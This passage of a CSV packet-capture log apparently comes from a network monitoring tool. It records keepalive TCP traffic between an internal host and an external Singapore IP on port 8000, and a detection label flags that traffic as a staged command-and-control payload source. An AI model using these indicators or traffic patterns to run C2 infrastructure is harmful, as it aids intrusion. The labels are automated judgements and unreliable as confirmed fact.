\"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1473, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10803, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487892, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487891, 1244487892))]\"\"}}]\"\n2026-07-01 09:13:57.967614,1083,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487891 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1b2400080063e4c0a98980bc0a3a789fa6f1f404a2d60d331e3a06e50102014edec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45490, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15948, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487891, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:57.967641,1084,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487892,bc2411360d0cbc24112907bb08004500003405c2400040062a32c0a3a7890a98980b1f40fa6f31e3a06e4a2d60d48010003f0af700000101050a4a2d60d34a2d60d4,\".$.6\n..$.)....E..4..@.@.*2....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1474, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10802, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487892, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487891, 1244487892))]\"\"}}]\"\n2026-07-01 09:13:58.967591,1085,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487891 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1b3400080063e4b0a98980bc0a3a789fa6f1f404a2d60d331e3a06e50102014edec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45491, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15947, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487891, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:58.967598,1086,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487892,bc2411360d0cbc24112907bb08004500003405c3400040062a31c0a3a7890a98980b1f40fa6f31e3a06e4a2d60d48010003f0af700000101050a4a2d60d34a2d60d4,\".$.6\n..$.)....E..4..@.@.*1....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1475, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10801, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487892, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487891, 1244487892))]\"\"}}]\"\n2026-07-01 09:13:59.983326,1087,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487891 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1b4400080063e4a0a98980bc0a3a789fa6f1f404a2d60d331e3a06e50102014edec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45492, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15946, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487891, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:59.983360,1088,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487892,bc2411360d0cbc24112907bb08004500003405c4400040062a30c0a3a7890a98980b1f40fa6f31e3a06e4a2d60d48010003f0af700000101050a4a2d60d34a2d60d4,\".$.6\n..$.)....E..4..@.@.*0....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1476, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10800, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487892, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487891, 1244487892))]\"\"}}]\"\n2026-07-01 09:14:00.983341,1089,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487891 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1b5400080063e490a98980bc0a3a789fa6f1f404a2d60d331e3a06e50102014edec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45493, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15945, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487891, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:00.983374,1090,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487892,bc2411360d0cbc24112907bb08004500003405c5400040062a2fc0a3a7890a98980b1f40fa6f31e3a06e4a2d60d48010003f0af700000101050a4a2d60d34a2d60d4,\".$.6\n..$.)....E..4..@.@.*/....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1477, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10799, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487892, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487891, 1244487892))]\"\"}}]\"\n2026-07-01 09:14:01.998941,1091,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487891 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1b6400080063e480a98980bc0a3a789fa6f1f404a2d60d331e3a06e50102014edec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45494, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15944, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487891, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:01.998965,1092,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487892,bc2411360d0cbc24112907bb08004500003405c6400040062a2ec0a3a7890a98980b1f40fa6f31e3a06e4a2d60d48010003f0af700000101050a4a2d60d34a2d60d4,\".$.6\n..$.)....E..4..@.@.*.....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1478, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10798, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487892, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487891, 1244487892))]\"\"}}]\"\n2026-07-01 09:14:03.014582,1093,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487891 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1b7400080063e470a98980bc0a3a789fa6f1f404a2d60d331e3a06e50102014edec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45495, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15943, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487891, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:03.014605,1094,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487892,bc2411360d0cbc24112907bb08004500003405c7400040062a2dc0a3a7890a98980b1f40fa6f31e3a06e4a2d60d48010003f0af700000101050a4a2d60d34a2d60d4,\".$.6\n..$.)....E..4..@.@.*-....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1479, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10797, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487892, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487891, 1244487892))]\"\"}}]\"\n2026-07-01 09:14:04.014659,1095,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487891 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1b8400080063e460a98980bc0a3a789fa6f1f404a2d60d331e3a06e50102014edec000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45496, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15942, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487891, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60908, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:04.014694,1096,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487892,bc2411360d0cbc24112907bb08004500003405c8400040062a2cc0a3a7890a98980b1f40fa6f31e3a06e4a2d60d48010003f0af700000101050a4a2d60d34a2d60d4,\".$.6\n..$.)....E..4..@.@.*,....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1480, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10796, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487892, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487891, 1244487892))]\"\"}}]\"\n2026-07-01 09:14:04.907542,1097,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1244487892 Ack=837001326,bc24112907bbbc2411360d0c08004500003db1b9400080063e310a98980bc0a3a789fa6f1f404a2d60d431e3a06e50182014882e00001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45497, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15921, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487892, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 34862, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:14:04.907591,1098,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487913,bc2411360d0cbc24112907bb08004500002805c9400040062a37c0a3a7890a98980b1f40fa6f31e3a06e4a2d60e95010003f0aeb0000,\".$.6\n..$.)....E..(..@.@.*7....\n....@.o1..nJ-`.P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1481, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10807, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487913, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:14:05.920936,1099,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487912 